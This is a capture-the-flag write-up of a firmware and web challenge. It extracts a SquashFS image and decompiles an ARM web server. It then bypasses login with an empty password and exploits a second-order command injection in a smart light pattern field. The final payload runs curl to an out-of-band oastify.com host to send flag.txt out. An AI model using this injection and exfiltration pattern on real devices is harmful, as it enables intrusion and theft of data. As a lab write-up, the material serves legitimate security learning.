Payatu Hiring CTF - IoT Master Challenge

IoT Master Challenge

SOLUTION FOR IOT Master CHALLENGE

Challenge Description

I recently participated in the Payatu Hiring CTF, and it was a great experience—especially discovering firmware challenges that involved both pwning and reverse engineering.

Challenge Overview

(inspired from the 🐐 SuperFashi1)

Okay coming back to the challenge we were provided with a iot_master.bin file. This was also a web-interface challenge and web instances were provided.

Ξ Downloads/firmware → file iot_master.bin
iot_master.bin: Squashfs filesystem, little endian, version 4.0, xz compressed, 20078298 bytes, 2514 inodes, blocksize: 1048576 bytes, created: Sat Jun 28 02:51:12 2025

It was a Squashfs Filesystem, so my next objective was to use unsquashfs to extract files from the firmware.

Ξ squashfs-root/app → ll
total 1296
-rw-r--r--  1 0x1622  staff    18B Jun 26 09:50 flag.txt
drwxrwxr-x  4 0x1622  staff   128B Jun 28 08:20 web_root
-rwxr-xr-x  1 0x1622  staff   642K Jun 26 11:10 webd

Interestingly I found the binary file in /squashfs-root/app directory.

Ξ squashfs-root/app → file webd
webd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, BuildID[sha1]=6b2b90dc1c9fe20e56094e79a6ae9839b4514136, for GNU/Linux 3.2.0, not stripped

The binary was a 32-bit ARM executable, statically linked and not stripped, meaning it contains full symbol information.

dogbolt@dogbolt:~/ctfs$ checksec --file=webd
[*] '/home/dogbolt/ctfs/webd'
    Arch:       arm-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x10000)
    Stripped:   No

Web Interface Analysis

Web Interface

I initially started by looking for the keyword password in the filesystem, hoping to find a hardcoded one. My first thought was that the admin cookie might be stored somewhere in the extracted files. However, after thoroughly searching the filesystem, I couldn't find anything useful.

My next step was to statically analyze the webd binary using Binary Ninja, focusing especially on functions that might perform password checks.

main.c

void main() __noreturn
{
    int32_t var_c = 0;
    void var_50;
    mg_mgr_init(&var_50);
    int32_t var_54;
    mg_http_listen(&var_50, "http://0.0.0.0:8080", cb, var_54);
    
    while (true)
        mg_mgr_poll(&var_50, 0x3e8);
}

This main function was nothing special—it was just setting up a very basic HTTP server using the Mongoose networking library.

While searching for other functions, I came across an interesting one that was responsible for handling login attempts.

void* post_login_handle(void* arg1, void* arg2)
{
    int32_t var_c = 0
    int32_t var_d4 = 0
    char var_d0[0x3c]
    memset(&var_d0, 0, 0x3c)
    int32_t var_f0 = 0
    void* r6
    int32_t r0_1 = __libc_open("/dev/urandom", 0, 0, r6)
    char var_e0
    memset(&var_e0, 0, 9)
    __libc_read(r0_1, &var_e0, 8, r6)
    void* r0_5 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.username")
    void* r0_7 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.password")
    void* result

    if (r0_5 == 0 || r0_7 == 0)
        result = mg_http_reply(arg1, 0x1f4, "Custom-Header: Vuln-Server\r\n", 
            "Internal Server Error\n")
    else if (strncmp(&var_e0, r0_7, strlen(r0_7)) != 0)
        result = mg_http_reply(arg1, 0x191, "Custom-Header: Vuln-Server\r\n", 
            "Invalid Credentials\n")
    else if (strncmp(r0_5, "IoT_Admin", 9) != 0)
        result = mg_http_reply(arg1, 0x191, "Custom-Header: Vuln-Server\r\n", 
            "Invalid Credentials\n")
    else if (strlen(r0_5) != 9)
        result = mg_http_reply(arg1, 0x191, "Custom-Header: Vuln-Server\r\n", 
            "Invalid Credentials\n")
    else
        int32_t var_94 = 0
        char var_90[0x84]
        memset(&var_90, 0, 0x84)
        __snprintf(&var_d4, 0x40, &data_73b90, create_session())
        __snprintf(&var_94, 0x88, "Custom-Header: Vuln-Server\r\nSe…", &var_d4)
        void* var_100_1 = r0_5
        result = mg_http_reply(arg1, 0xc8, &var_94, "Welcome back, %s\n")

    // ... cleanup code ...
}

The first question that came to my mind after seeing this function was why was /dev/urandom being used here. After analyzing further, I came to the conclusion:

  1. /dev/urandom generates 8 random bytes and stores them in a variable var_e0
  2. Then the password provided by the user is saved in r0_7
  3. strncmp() compares the password with var_e0. It compares the first n characters of string1 and string2, if they are the same, it returns 0.
Realization Meme

After searching how much approx time it takes to bruteforce 8 random bytes:

Bruteforce Time

Interestingly I found source-code for strncmp():

STRNCMP (const char *s1, const char *s2, size_t n)
{
  unsigned char c1 = '\0';
  unsigned char c2 = '\0';

  if (n >= 4)
    {
      size_t n4 = n >> 2;
      do
        {
          c1 = (unsigned char) *s1++;
          c2 = (unsigned char) *s2++;
          if (c1 == '\0' || c1 != c2)
            return c1 - c2;
          c1 = (unsigned char) *s1++;
          c2 = (unsigned char) *s2++;
          if (c1 == '\0' || c1 != c2)
            return c1 - c2;
          c1 = (unsigned char) *s1++;
          c2 = (unsigned char) *s2++;
          if (c1 == '\0' || c1 != c2)
            return c1 - c2;
          c1 = (unsigned char) *s1++;
          c2 = (unsigned char) *s2++;
          if (c1 == '\0' || c1 != c2)
            return c1 - c2;
        } while (--n4 > 0);
      n &= 3;
    }

  while (n > 0)
    {
      c1 = (unsigned char) *s1++;
      c2 = (unsigned char) *s2++;
      if (c1 == '\0' || c1 != c2)
        return c1 - c2;
      n--;
    }

  return c1 - c2;
}

This clearly says that strncmp() when asked to compare zero characters will always return 0, so basically password should be null.

Realization Meme 2

So, as username was already leaked in the code (IoT_Admin), we can easily login with:

Username: IoT_Admin
Password: ""

The login screen was only performing a client-side check to verify whether a password was entered, and it was preventing users from submitting a null password.

Login Screen

Using Burp, I bypassed this and got the admin cookies:

Burp Bypass

Part 2 of the Challenge

Smart Home Control

This was the sweet smart home control page. Now back to Binary Ninja for more analysis.

This step took me nearly 3–4 hours to thoroughly analyze the binary, understand what each function was doing, and identify a bug that could eventually grant me access.

  1. This was like a hub, which was controlling the household IoT devices.
  2. The main objective was to access household IoT device and get the flag from there.
  3. Interestingly I found couple of functions which were using /bin/echo on the server side.

send_user_config_to_device()

void* send_user_config_to_device(void* arg1, void* arg2)
{
    send_fan_control_commands(arg1, arg2)
    send_router_config_commands(arg1, arg2)
    send_baby_camera_control_commands(arg1, arg2)
    send_smartlock_toggle_commands(arg1, arg2)
    send_smartlight_control_commands(arg1, arg2)
    return mg_http_reply(arg1, 0xc8, "Custom-Header: Vuln-Server\r\n", 
        "User config has been set to the …")
}

This function acts like a dispatcher, basically it takes the user's complete configuration, which is stored in memory, and pushes all the settings to the IoT devices.

Fan Control

void* fan_control(void* arg1, void* arg2, void* arg3)
{
    void* r0_1 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.fan_speed")
    void* r0_3 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.fan_toggle")
    void* result

    if (r0_1 == 0 && r0_3 == 0)
        result = mg_http_reply(arg1, 0x190, "Custom-Header: Vuln-Server\r\n", 
            "Don't try to be smart fan\n")
    // ... validation logic ...
}

The above code was API endpoint handler for Fan-Control. This was nothing special:

void* r0_1 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.fan_speed");
void* r0_3 = mg_json_get_str(*(arg2 + 0x200), *(arg2 + 0x204), "$.fan_toggle");

r0_1 will hold the string value for the fan speed (between 0 to 5)
r0_3 will hold the string value for the fan toggle (must be between 0 and 1)

Moving forward to another function that is related with fan-control:

uint32_t send_fan_control_commands(int32_t arg1, void* arg2)
{
    int32_t var_334 = arg1
    int32_t var_c = 0
    uint32_t var_340 = zx.d(**(arg2 + 0x48))
    void var_32c
    __snprintf(&var_32c, 0x320, "/bin/echo \'{\"Fan Toggle\":\"%d\",\"Fan Speed\":\"%d\"}\' | nc -N localhost 4455", 
        zx.d(*(*(arg2 + 0x48) + 1)))
    uint32_t result = __libc_system(&var_32c)

    if (0 == var_c)
        return result

    __stack_chk_fail()
    noreturn
}

Ahhh finally, /bin/echo! This command is running on server side, it takes value from user and executes it on the server side. Easy command injection?

No.

Disappointed Meme

This %d format specifier ensures only numbers are printed.

Though at this point I had a clear idea of what I needed — a function that doesn't use %d or any format specifier that restricts strings or characters.

I further analyzed Smart Lock Alerts but again %d was causing problems:

/bin/echo \'{\"Smart Lock Alerts\":\"%d\"}\' | nc -N localhost 4456

Frustration Meme

Finally, after searching for a function that allows characters or strings, I came across one that did.

Smartlight Control

uint32_t send_smartlight_control_commands(int32_t arg1, void* arg2)
{
    int32_t var_334 = arg1
    int32_t var_c = 0
    int32_t var_340 = *(arg2 + 0x48) + 0x25d
    void var_32c
    __snprintf(&var_32c, 0x320, "/bin/echo \"{\"Smart Light Toggle\":\"%u\",\"Smart Light LED Pattern\":\"%s\"}\" | nc -N localhost 4457"
        zx.d(*(*(arg2 + 0x48) + 0x25c)))
    int32_t r9
    _IO_puts(&var_32c, r9)
    uint32_t result = __libc_system(&var_32c)

    if (0 == var_c)
        return result

    __stack_chk_fail()
    noreturn
}

This function allows user to enter a string!

Smart Light Control Interface

The vulnerability lies in Smartlight LED Pattern:

Vulnerability Location

Also these two rules should be followed:

  1. Only whitelisted characters of A-Z,a-z,0-9, ",", "_", " " and length should be lesser than 100
  2. Smartlight_led pattern should atleast have length of 17 and atmost a length of 199. Example: "0,0,0 0,0,0 0,0,0" and toggle should be 0(for OFF) or 1(for ON)

Now comes the payload part. I took help of ChatGPT and Gemini for this, and the author also helped me with this part.

The Final Payload would look like this:

{
  "smartlight_led_pattern": "0,0,0 and 0,0,0 and 0,0,0\"};curl \"https://xxxxx.oastify.com?output=$(cat flag.txt | jq -sRr @uri)\" ;"
}

After sending this on /api/smartlight_control and triggering it with /api/set_user_config

We get the response from the device:

Flag Response

PAYATU{S3c0nd_0rd3r_C0mm4nd_1nj3ct10n_t0_pWn_th3_i0t_m4st3r}

Follow me on @0x1622 or I will steal your cat 🐈